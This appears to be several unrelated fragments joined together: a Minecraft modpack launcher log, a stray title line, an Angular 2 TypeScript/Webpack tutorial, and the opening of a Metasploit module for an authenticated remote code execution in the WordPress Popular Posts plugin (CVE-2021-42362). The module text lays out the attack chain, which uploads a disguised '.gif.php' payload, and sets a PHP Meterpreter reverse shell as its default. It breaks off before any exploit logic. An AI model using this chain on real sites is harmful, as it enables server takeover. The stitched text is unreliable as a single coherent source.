jar:file:/C:/Users/cr7/Desktop/New%20folder/Instances/SkyFactory/mods/OpenPeripheralCore-1.7.10-1.1.jar!/openperipheral/api/ApiAccess.class) [16/5/2015 18:46:49 PM] [Client thread/INFO] [ttCore]: Transforming Class [net.minecraft.world.WorldType], Method [func_76564_j] [16/5/2015 18:46:49 PM] [Client thread/INFO] [ttCore]: Transforming net.minecraft.world.WorldType Finished. [16/5/2015 18:46:50 PM] [Client thread/ERROR] [MooFluids]: The mod MooFluids is expecting signature @FINGERPRINT@ for source MooFluids-1.7.10-1.5.01.19a.jar, however there is no signature matching that description [16/5/2015 18:46:50 PM] [Client thread/ERROR] [Moo Fluids]: No fingerprint found! [16/5/2015 18:46:50 PM] [Client thread/INFO]: Reloading ResourceManager: Default, FMLFileResourcePack:Forge Mod Loader, FMLFileResourcePack:Minecraft Forge, FMLFileResourcePack:Not Enough Items, FMLFileResourcePack:Lucky Block, FMLFileResourcePack:Furnace 3D, FMLFileResourcePack:ArmorStatusHUD, FMLFileResourcePack:Damage Indicators, FMLFileResourcePack:StartingInventory, FMLFileResourcePack:Applied Energistics 2, FMLFileResourcePack:AutoFood, FMLFileResourcePack:Automagy, FMLFileResourcePack:AutoPackager, FMLFileResourcePack:BiblioCraft, FMLFileResourcePack:BiblioWoods Natura Edition, FMLFileResourcePack:Big Reactors, FMLFileResourcePack:Botania, FMLFileResourcePack:Carpenter's Blocks, FMLFileResourcePack:ChickenChunks, FMLFileResourcePack:Chisel 2, FMLFileResourcePack:CoFH Core, FMLFileResourcePack:ComputerCraft, FMLFileResourcePack:Cosmetic Armor, FMLFileResourcePack:Decocraft, FMLFileResourcePack:Draconic Evolution, FMLFileResourcePack:Dragon Mounts, FMLFileResourcePack:Dual Hotbar, FMLFileResourcePack:Emotes, FMLFileResourcePack:Ender IO, FMLFileResourcePack:EnderStorage, FMLFileResourcePack:EnderTech, FMLFileResourcePack:Ender Utilities, FMLFileResourcePack:Ex Astris, FMLFileResourcePack:Ex Nihilo, FMLFileResourcePack:ExtraCells, FMLFileResourcePack:ExtraTiC, FMLFileResourcePack:Extra Utilities, FMLFileResourcePack:Food Plus, FMLFileResourcePack:Forbidden Magic, FMLFileResourcePack:FoxLib, FMLFileResourcePack:Greg's Lighting, FMLFileResourcePack:Hats, FMLFileResourcePack:HatStand, FMLFileResourcePack:Headcrumbs, FMLFileResourcePack:iChunUtil, FMLFileResourcePack:Iguana Tinker Tweaks, FMLFileResourcePack:Immibis Core, FMLFileResourcePack:Inventory Tweaks, FMLFileResourcePack:Iron Chest, FMLFileResourcePack:It's Raining Food, FMLFileResourcePack:JABBA, FMLFileResourcePack:Liquid XP, FMLFileResourcePack:Loot Bags, FMLFileResourcePack:LunatriusCore, FMLFileResourcePack:Magical Crops, FMLFileResourcePack:Mantle, FMLFileResourcePack:MinefactoryReloaded & MagicalCrops extra compatibility, FMLFileResourcePack:MineFactory Reloaded, FMLFileResourcePack:MFR Compat: Applied Energistics, FMLFileResourcePack:MFR Compat: Atum, FMLFileResourcePack:MFR Compat: BackTools, FMLFileResourcePack:MFR Compat: BuildCraft, FMLFileResourcePack:MFR Compat: Chococraft, FMLFileResourcePack:MFR Compat: ExtraBiomes, FMLFileResourcePack:MFR Compat: Forestry, FMLFileResourcePack:MFR Compat: ForgeMicroblock, FMLFileResourcePack:MFR Compat: IC2, FMLFileResourcePack:MFR Compat: Mystcraft, FMLFileResourcePack:MFR Compat ProjectRed, FMLFileResourcePack:MFR Compat: Railcraft, FMLFileResourcePack:MFR Compat: Sufficient Biomes, FMLFileResourcePack:MFR Compat: Thaumcraft, FMLFileResourcePack:MFR Compat: Thermal Expansion, FMLFileResourcePack:MFR Compat: Tinkers' Construct, FMLFileResourcePack:MFR Compat: TwilightForest, FMLFileResourcePack:MFR Compat: Vanilla, FMLFileResourcePack:Moo Fluids, FMLFileResourcePack:MorePlayerModels, FMLFileResourcePack:Morpheus, FMLFileResourcePack:Natura, FMLFileResourcePack:NEI Addons, FMLFileResourcePack:NEI Addons: Botany, FMLFileResourcePack:NEI Addons: Forestry, FMLFileResourcePack:NEI Addons: Crafting Tables, FMLFileResourcePack:NEI Addons: Ex Nihilo, FMLFileResourcePack:NEI Integration, FMLFileResourcePack:OpenBlocks, FMLFileResourcePack:OpenMods, FMLFileResourcePack:OpenPeripheralAddons, FMLFileResourcePack:OpenPeripheralCore, FMLFileResourcePack:OpenPeripheralIntegration, FMLFileResourcePack:Plugin Messages Mod, FMLFileResourcePack:Ranchable Fluid Cows, FMLFileResourcePack:RedLogic, FMLFileResourcePack:Redstone Arsenal, FMLFileResourcePack:Reliquary, FMLFileResourcePack:RFTools, FMLFileResourcePack:Simple Achievements, FMLFileResourcePack:Simply Jetpacks, FMLFileResourcePack:Slabcraft, FMLFileResourcePack:Solar Flux, FMLFileResourcePack:Staircraft, FMLFileResourcePack:Sync, FMLFileResourcePack:Tabula Rasa, FMLFileResourcePack:Tails, FMLFileResourcePack:Tinkers' Construct, FMLFileResourcePack:Thaumcraft, FMLFileResourcePack:Thaumcraft NEI Plugin, FMLFileResourcePack:Thaumic Energistics, FMLFileResourcePack:Thermal Casting, FMLFileResourcePack:Thermal Dynamics, FMLFileResourcePack:Thermal Expansion, FMLFileResourcePack:Thermal Foundation, FMLFileResourcePack:Translocator, FMLFileResourcePack:Tree Growing Simulator 2014, FMLFileResourcePack:ttCore, FMLFileResourcePack:Utility Mobs, FMLFileResourcePack:Vein Miner, FMLFileResourcePack:Mod Support, FMLFileResourcePack:Waila, FMLFileResourcePack:Waila Harvestability, FMLFileResourcePack:Waila NBT, FMLFileResourcePack:What Are We Looking At, FMLFileResourcePack:Witchery, FMLFileResourcePack:WR-CBE Core, FMLFileResourcePack:WR-CBE Addons, FMLFileResourcePack:WR-CBE Logic, FMLFileResourcePack:YUNoMakeGoodMap, FMLFileResourcePack:bspkrsCore, FMLFileResourcePack:Baubles, FMLFileResourcePack:Forge Microblocks, FMLFileResourcePack:Forge Multipart, FMLFileResourcePack:Minecraft Multipart Plugin, FMLFileResourcePack:libsandstone [16/5/2015 18:46:51 PM] [Client thread/INFO] [FML]: Processing ObjectHolder annotations [16/5/2015 18:46:53 PM] [Client thread/INFO] [FML]: Found 434 ObjectHolder annotations [16/5/2015 18:46:53 PM] [Client thread/INFO] [FML]: Configured a dormant chunk cache size of 0 [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.client.renderer.entity.RenderManager [ bnn ] with checksum 23331C7A7033A1CF1F1AAE38FD89A9B5 [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Lsa;DDDFFZ)Z [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Lsa;DDDFFZ)Z [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: [MobiusCore] Found net.minecraft.client.renderer.tileentity.TileEntityRendererDispatcher [ bmk ] with checksum 1B9F2A44C89A8C0C359AD4D34A73DA8D [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Laor;DDDF)V [16/5/2015 18:46:58 PM] [Client thread/INFO] [MobiusCore]: Successful injection in a (Laor;DDDF)V [16/5/2015 18:47:00 PM] [Client thread/INFO] [AE2:C]: Pre Initialization ( started ) [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: func_145839_a(Lnet/minecraft/nbt/NBTTagCompound;)V - Transformed [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: func_145841_b(Lnet/minecraft/nbt/NBTTagCompound;)V - Transformed [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySink from appeng/tile/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/IC2 [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface Reika.RotaryCraft.API.Power.ShaftPowerReceiver from appeng/tile/powersink/RotaryCraft because RotaryCraft integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Method Tick_RotaryCraft from appeng/tile/powersink/RotaryCraft because RotaryCraft integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/RotaryCraft [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyReceiver from appeng/tile/powersink/RedstoneFlux because RF integration is enabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface mekanism.api.energy.IStrictEnergyAcceptor from appeng/tile/powersink/MekJoules because Mekanism integration is disabled. [16/5/2015 18:47:01 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/tile/powersink/MekJoules [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface powercrystals.minefactoryreloaded.api.rednet.connectivity.IRedNetConnection from appeng/block/networking/BlockCableBus because MFR integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Method getConnectionType from appeng/block/networking/BlockCableBus because MFR integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.tools.IToolWrench from appeng/items/tools/quartz/ToolQuartzWrench because BC integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/quartz/ToolQuartzWrench [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.item.ISpecialElectricItem from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.item.IElectricItemManager from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Method getManager from appeng/items/tools/powered/powersink/IC2 because IC2 integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/powered/powersink/IC2 [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyContainerItem from appeng/items/tools/powered/powersink/RedstoneFlux because RFItem integration is enabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.tools.IToolWrench from appeng/items/tools/ToolNetworkTool because BC integration is disabled. [16/5/2015 18:47:02 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/items/tools/ToolNetworkTool [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.transport.IPipeConnection from appeng/parts/misc/PartStorageBus because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Method overridePipeConnection from appeng/parts/misc/PartStorageBus because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/misc/PartStorageBus [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface buildcraft.api.transport.IPipeConnection from appeng/parts/p2p/PartP2PItems because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Method overridePipeConnection from appeng/parts/p2p/PartP2PItems because BC integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/p2p/PartP2PItems [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySink from appeng/parts/p2p/PartP2PIC2Power because IC2 integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Removing Interface ic2.api.energy.tile.IEnergySource from appeng/parts/p2p/PartP2PIC2Power because IC2 integration is disabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Updated appeng/parts/p2p/PartP2PIC2Power [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2-CORE]: Allowing Interface cofh.api.energy.IEnergyReceiver from appeng/parts/p2p/PartP2PRFPower because RF integration is enabled. [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2:C]: Starting AE2 VersionChecker [16/5/2015 18:47:03 PM] [Client thread/INFO] [AE2:C]: Pre Initialization ( ended after 4556ms ) [16/5/2015 18:50:48 PM] OpenEye: Sending pending crash report located at '**USERSDIR**\Instances\SkyFactory\reports\pending-crash-2015-05-14_21.47.10-0.json' [16/5/2015 18:50:48 PM] Checking for updated files! [16/5/2015 18:50:49 PM] OpenEye: Pending crash report sent! URL: http://openeye.openmods.info/commoncrash/oom [16/5/2015 18:50:55 PM] No updates found! [16/5/2015 19:05:04 PM] Copied Log to clipboard [16/5/2015 19:05:07 PM] Log uploaded and link copied to clipboard:
bradfeld
Claude Code plugin: cross-reference release notes against your personal config
krishnakumarsingh
Setting Up an Angular 2 Environment Using Typescript, Npm and Webpack PreviousNext This Angular 2 tutorial serves for anyone looking to get up and running with Angular 2 and TypeScript fast. Angular 2 Beta Udemy Last week I’ve read the great Angular 2 book from Ninja Squad. Therefore, I figured it was time to put pen to paper and start building Angular 2 applications using TypeScript. That’s why in this tutorial, we’ll learn how to start an Angular 2 project from scratch and go further by building a development environment with Webpack and more. Getting Started 1. Developing and Building a TypeScript App Let’s start by building our first Angular 2 application using Typescript. First, make sure you have Node.js and npm installed. You can refer to the official website for more information about the installation procedure. Then, install Typescript globally via npm by running the following command in your terminal : 1 2 3 npm install -g typescript Once it is installed, we’ll setup our Typescript project by creating a tsconfig.json file in which we specify the compilation options to use for compiling our project. The typescript NPM module we just installed comes with a compiler, named tsc, that we are going to use for initializing a fresh Typescript project : 1 2 3 4 5 6 7 # Create a new project folder and go inside it mkdir angular2-starter && cd angular2-starter # Generate the Typescript configurations file tsc --init --target es5 --sourceMap --experimentalDecorators --emitDecoratorMetadata Running tsc --init create the tsconfig.json in our project directory, which looks like this : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 { "compilerOptions": { "target": "es5", "sourceMap": true, "experimentalDecorators": true, "emitDecoratorMetadata": true, "module": "commonjs", "noImplicitAny": false, "outDir": "built" }, "exclude": [ "node_modules" ] } Along with the --init parameter, we passed the following options to the compiler : --target es5 : specify that we want our code to transpile to ECMASCRIPT 5. Thus, it could be run in every browser. --sourceMap : generate source maps files. It helps when debugging ES5 code with the original Typescript code in the chrome devtools. --experimentalDecorators and --emitDecoratorMetadata : allow to use Typescript with decorators. Also notice that options such as module, outDir or rootDir have been added by default. Feel free to read the documentation for more compiler options. So hit npm init in your terminal, and fill in some answers (you can accept the default for all the prompts). Then, install angular2 by running the following command : 1 2 3 npm install --save angular2 You should now have a package.json file that looks like the following: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "name": "angular-starter", "version": "1.0.0", "description": "An Angular 2 Starter kit featuring Angular 2, TypeScript, and Webpack by EloquentWebApp", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1" }, "author": "Grégory D'Angelo", "license": "ISC", "dependencies": { "angular2": "^2.0.0-beta.17", "es6-shim": "^0.35.1", "reflect-metadata": "^0.1.2", "rxjs": "^5.0.0-beta.6", "zone.js": "^0.6.17" } } As you can see, angular2 comes with the following dependencies : reflect-metadata : used to enable dependency injection through decorators es6-shim and es6-promise : librairies for ES6 compatabilities and support for ES6 Promise rxjs : a set of librairies for reactive programming zone.js : used to implement zones for Javascript, inspired from Dart. Angular 2 uses it to efficiently detect changes The fundamentals settings are now in place. Let’s create our first Angular 2 application. 2. Creating our First Component The first step is to create a Typescript file at the root folder, and name it app.component.ts. Our application itself will be a component. To do so, we’ll use the @Component decorator by importing it from ‘angular2/core‘. That’s all we need to create our Angular 2 component. 1 2 3 4 5 6 import { Component } from 'angular2/core'; @Component() export class AppComponent { } By prefixing the class by this decorator, it tells Angular that this class is an Angular component. In Angular 2, components are a fundamental concept. It is the way we define views and control the logic on the page. Here’s how to do it : 1 2 3 4 5 6 7 8 9 import { Component } from 'angular2/core'; @Component({ selector: 'app', template: '<h1>Hello, Angular2</h1>' }) export class AppComponent { } We passed in a configuration object to the component decorator. This object has two properties : selector and template. The selector is the HTML element that Angular will looking for. Every times it founds one, Angular will instantiate a new instance of our AppComponent class, and place our template. As you may also notice we export our class at the end. This is our first class so we’ll keep it empty for simplicity. 3. Bootstrapping the App Finally, we need to launch our application. For this, we only need two things : the Angular’s browser bootstrap method, and the application root component that we just wrote. To separate the concerns, create a new file, bootstrap.ts, and import the dependencies : 1 2 3 4 5 6 7 8 9 ///<reference path="node_modules/angular2/typings/browser.d.ts" /> import { bootstrap } from 'angular2/platform/browser'; import { AppComponent } from './app.component'; bootstrap(AppComponent) .catch(err => console.log(err)); As you can see, we call the bootstrap method, passing in our component, AppComponent. Moreover, as stated in the CHANGELOG since 2.0.0-beta.6 (2016-02-11) we may need to add the <reference ... /> line at the top of our bootstrap.ts file when using --target=es5. Feel free to check the CHANGELOG for more details. Last but not least, we need to create an index.html file to host our Angular application. Start by pasting the following lines : 1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html> <html> <head></head> <body> <app>Loading...</app> </body> </html> For now, it’s a very basic HTML file in which we’ve put the selector <app> that corresponds to our application root component. But we need to add 2 more things in order to launch our application. Indeed, we need to rely on a tool to load application and library modules. For now, we’ll use SystemJS as the module loader. We’ll see later in this tutorial how to install and configure Webpack for our Angular 2 project. And finally, we need to include script dependencies in our HTML file. Let’s do it together step by step. First, start by installing SystemJS : 1 2 3 npm install --save systemjs Then, load it statically in the index.html just after angular2-polyfills. angular2-polyfills is essentially a mashup of zone.js and reflect-metadata. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!DOCTYPE html> <html> <head> <script src="node_modules/angular2/bundles/angular2-polyfills.js"></script> <script src="node_modules/systemjs/dist/system.js"></script> </head> <body> <app>Loading...</app> </body> </html> Finally, we need to tell SystemJS where is our bootstrap module and where to find the dependencies used in our application (angular2 and rxjs) : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <!DOCTYPE html> <html> <head> <script src="node_modules/angular2/bundles/angular2-polyfills.js"></script> <script src="node_modules/systemjs/dist/system.js"></script> <script> System.config({ // we want to import modules without writing .js at the end defaultJSExtensions: true, // the app will need the following dependencies map: { 'angular2': 'node_modules/angular2', 'rxjs': 'node_modules/rxjs' } }); // and to finish, let's boot the app! System.import('built/bootstrap'); </script> </head> <body> <app>Loading...</app> </body> </html> OK! We’re done with the settings and we can now compile and run our application. In order to handle common tasks, include the following npm scripts in the package.json file : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 { "name": "angular-starter", "version": "1.0.0", "description": "An Angular 2 Starter kit featuring Angular 2, TypeScript, and Webpack by EloquentWebApp", "main": "index.js", "scripts": { "start": "concurrently \"npm run watch\" \"npm run serve\"", "watch": "tsc -w", "serve": "lite-server" }, "author": "Grégory D'Angelo", "license": "ISC", "dependencies": { "angular2": "^2.0.0-beta.11", "es6-promise": "^3.1.2", "es6-shim": "^0.35.0", "reflect-metadata": "^0.1.2", "rxjs": "^5.0.0-beta.2", "systemjs": "^0.19.24", "zone.js": "^0.6.5" }, "devDependencies": { "concurrently": "^2.2.0", "lite-server": "^2.2.2" } } The watch script runs the TypeScript compiler in watch mode. It watches TypeScript files and triggers recompilation on changes. The serve script runs an HTTP server to serve our application, and refresh the browser on changes. I’ve used lite-server for that purpose. Install it via npm : 1 2 3 npm install --save-dev lite-server And, the start run the previous 2 scripts concurrently using the concurrently npm package : 1 2 3 npm install --save-dev concurrently So, run npm start and open your browser to http://localhost:3000. You should now briefly see “Loading…”, and then “Hello, Angular2” should appear. Congratulations! We’ve have just finished the first part of this tutorial. Keep going to see how to set a build system using Webpack for working with TypeScript. Creating a useful project structure and toolchain 1. Project Structure As far, we’ve built a basic Angular 2 application with the minimum required dependencies and tools. In this section, we’ll refactor our project structure to ease the development of more complex Angular 2 applications. By the end of this section, you will be able to build your own starter kit to get up and running with Angular 2 and TypeScript fast. More importantly, you will understand how to structure your project and what each tool is responsible for. Sounds great, isn’t it? Let’s do it! The first step is to revamp the file structure of our project. Here’s how it will look : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 angular2-starter/ ├──src/ | ├──bootstrap.ts | ├──index.html | ├──polyfills.ts │ │ │ ├──app/ │ │ ├──app.component.ts │ │ └──app.html │ │ │ └──assets/ │ └──css/ │ └──styles.css │ ├──tsconfig.json ├──typings.json ├──package.json │ └──webpack.config.js There are some new files, but don’t worry we will dive into each one of them through this section. What’s important for now, it’s to understand that we’ll use the component approach in our application project. This is a great way to ensure maintainable code by encapsulation of our behavior logic. Hence, each component will live in a single folder with each concern as a file: style, template, specs, e2e, and component class. Before going further let’s reorganize our files as follow : 1 2 3 4 5 6 7 8 9 10 11 12 angular2-starter/ ├──src/ | ├──bootstrap.ts | ├──index.html │ │ │ └──app/ │ └──app.component.ts │ ├──tsconfig.json └──package.json You should also update the path in bootstrap.ts : 1 2 3 4 5 6 7 8 9 ///<reference path="../node_modules/angular2/typings/browser.d.ts" /> import { bootstrap } from 'angular2/platform/browser'; import { AppComponent } from './app/app.component'; bootstrap(AppComponent) .catch(err => console.log(err)); Great! Now it’s time to dive in into Webpack. 2. Installing and Configuring Webpack Webpack will replace SystemJS that we have used until now, as a module loader. If you need an explanation on what is Webpack for, I highly recommand you to take a look at the official documentation. In short, webpack is a module bundler. “It takes modules with dependencies and generates static assets representing those modules“. Start with installing webpack, webpack-dev-server, and the webpack plugins locally, and save them as project dependencies : 1 2 3 4 5 6 7 8 9 10 # First, remove SystemJS. We don't need it anymore. npm uninstall --save systemjs # Then, install Typescript locally npm install --save typescript # Finally, install webpack npm install --save-dev webpack webpack-dev-server html-webpack-plugin copy-webpack-plugin Now, let’s configure Webpack for our development workflow. For this purpose we’ll create a webpack.config.js. Add the following settings in your config file : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 var path = require('path'); var webpack = require('webpack'); var CopyWebpackPlugin = require('copy-webpack-plugin'); var HtmlWebpackPlugin = require('html-webpack-plugin'); var ENV = process.env.ENV = 'development'; var HOST = process.env.HOST || 'localhost'; var PORT = process.env.PORT || 8080; var metadata = { host: HOST, port: PORT, ENV: ENV }; /* * config */ module.exports = { // static data for index.html metadata: metadata, // Emit SourceMap to enhance debugging devtool: 'source-map', devServer: { // This is required for webpack-dev-server. The path should // be an absolute path to your build destination. outputPath: path.join(__dirname, 'dist') }, // Switch loaders to debug mode debug: true, // Our angular app entry: { 'polyfills': path.resolve(__dirname, "src/polyfills.ts"), 'app': path.resolve(__dirname, "src/bootstrap.ts") }, // Config for our build file output: { path: path.resolve(__dirname, "dist"), filename: '[name].bundle.js', sourcemapFilename: '[name].map' }, resolve: { // Add `.ts` and `.tsx` as a resolvable extension. extensions: ['', '.ts', '.tsx', '.js'] }, module: { loaders: [ // Support for .ts files { test: /\.tsx?$/, loader: 'ts-loader', include: [ path.resolve(__dirname, "./src") ] }, // Support for .html as raw text { test: /\.html$/, loader: 'raw-loader', exclude: [ path.resolve(__dirname, "src/index.html") ] } ] }, plugins: [ // Copy static assets to the build folder new CopyWebpackPlugin([{ from: 'src/assets', to: 'assets' }]), // Generate the index.html new HtmlWebpackPlugin({ template: 'src/index.html' }) ] } The entry specifies the entry files of our Angular application. It will be use by Webpack as the starting point for the bundling process. As you may notice we specify our bootstrap file, but also a new file named polyfills.ts. It will contain all the dependencies needed to run our Angular2 application. Before that, we’ve put those deps directly inside our index.html. They now live in a separate file : 1 2 3 4 5 // polyfills.ts import 'angular2/bundles/angular2-polyfills'; import 'rxjs'; The output tells Webpack what to do after completing the bundling process. In our case, the dist/ directory will be use to output the bundled files named app.bundle.js and polyfills.bundle.js with th following source-map files. The ts-loader is used to transpile our Typescript files that match the defined test regex. In our case it will process all files with a .ts or .tsx extension. The raw-loader is used to support html files as raw text. Hence, we could write our component views in separate files and include them afterward in our components. You need to install them using npm : 1 2 3 npm install --save-dev ts-loader raw-loader The CopyWebpackPlugin is used to copy the static assets into the build folder. Finally, the metadata are used by the HtmlWebpackplugin to generate our index.html file. In the index.html, we use the host and port data to run the webpack dev server in development environment. See how this file has been simplified : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <!DOCTYPE html> <html> <head> <link rel="stylesheet" href="./assets/css/styles.css" /> </head> <body> <app>Loading...</app> </body> <% if (webpackConfig.metadata.ENV === 'development') { %> <!-- Webpack Dev Server --> <script src="http://<%= webpackConfig.metadata.host %>:<%= webpackConfig.metadata.port %>/webpack-dev-server.js"></script> <% } %> </html> Feel free to add you own stylesheets files under /src/assets/css as I did with my styles.css file. You should now have a project structured like so : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 angular2-starter/ ├──src/ | ├──bootstrap.ts | ├──index.html | ├──polyfills.ts │ │ │ ├──app/ │ │ └──app.component.ts │ │ │ └──assets/ │ └──css/ │ └──styles.css │ ├──tsconfig.json ├──package.json │ └──webpack.config.js We need one more thing to be all set up. As mentionned before, we will write the views in separated file. So, create an app.html file and refer to it in your app.components.ts. 1 2 3 4 <!-- app.html --> <h1>Hello, Angular2</h1> 1 2 3 4 5 6 7 8 9 10 // app.component.ts import { Component } from 'angular2/core'; @Component({ selector: 'app', template: require('./app.html') }) export class AppComponent { } Finally, we have to install the node typings definition to be able to require file inside our component as we did for the view. Hence, to do so run the following commands, and complete the tsconfig.json to exclude some files : 1 2 3 4 5 6 7 8 9 10 # Install Typings CLI utility npm install typings --global # Init the typings.json typings init # Install typings typings install env~node --global --save As you can notice in my tsconfig.json file below, there are some extra options that are Atom IDE specific features. Feel free to read the documentation about it: atom-typescript/tsconfig.json. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 { "compilerOptions": { "target": "es5", "sourceMap": true, "experimentalDecorators": true, "emitDecoratorMetadata": true, "module": "commonjs", "noImplicitAny": false, "outDir": "built", "rootDir": "." }, "exclude": [ "node_modules", "typings/main.d.ts", "typings/main" ], "filesGlob": [ "./src/**/*.ts", "!./node_modules/**/*.ts", "typings/browser.d.ts" ], "compileOnSave": false, "buildOnSave": false } If you want to know more about typings read the following pages on Github : Microsoft/TypeScript and typings/typings. Ok! Now it’s time to build and run our application using Webpack. Let’s create some npm scripts to handle those operations. 3. Using npm as a Task Runner We will simply use npm to define and run our tasks : one for the build process, and one for running the development server. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "name": "angular2-starter", "version": "1.0.0", "description": "", "main": "index.js", "scripts": { "build:dev": "webpack --progress --colors", "server:dev": "webpack-dev-server --hot --progress --colors --content-base dist/", "start": "npm run server:dev" }, ... } We can now run npm start and visit http://localhost:8080 to see our app running.
Nate0634034090
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 'EDB', '50129' ], [ 'URL', 'https://blog.nintechnet.com/improper-input-validation-fixed-in-wordpress-popular-posts-plugin/' ], [ 'WPVDB', 'bd4f157c-a3d7-4535-a587-0102ba4e3009' ], [ 'URL', 'https://plugins.trac.wordpress.org/changeset/2542638' ], [ 'URL', 'https://github.com/cabrerahector/wordpress-popular-posts/commit/d9b274cf6812eb446e4103cb18f69897ec6fe601' ], [ 'CVE', '2021-42362' ] ], 'Platform' => ['php'], 'Stance' => Msf::Exploit::Stance::Aggressive, 'Privileged' => false, 'Arch' => ARCH_PHP, 'Targets' => [ [ 'Automatic Target', {}] ], 'DisclosureDate' => '2021-06-11', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp', 'WfsDelay' => 3000 # 50 minutes, other visitors to the site may trigger }, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, CONFIG_CHANGES ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options [ OptString.new('USERNAME', [true, 'Username of the account', 'admin']), 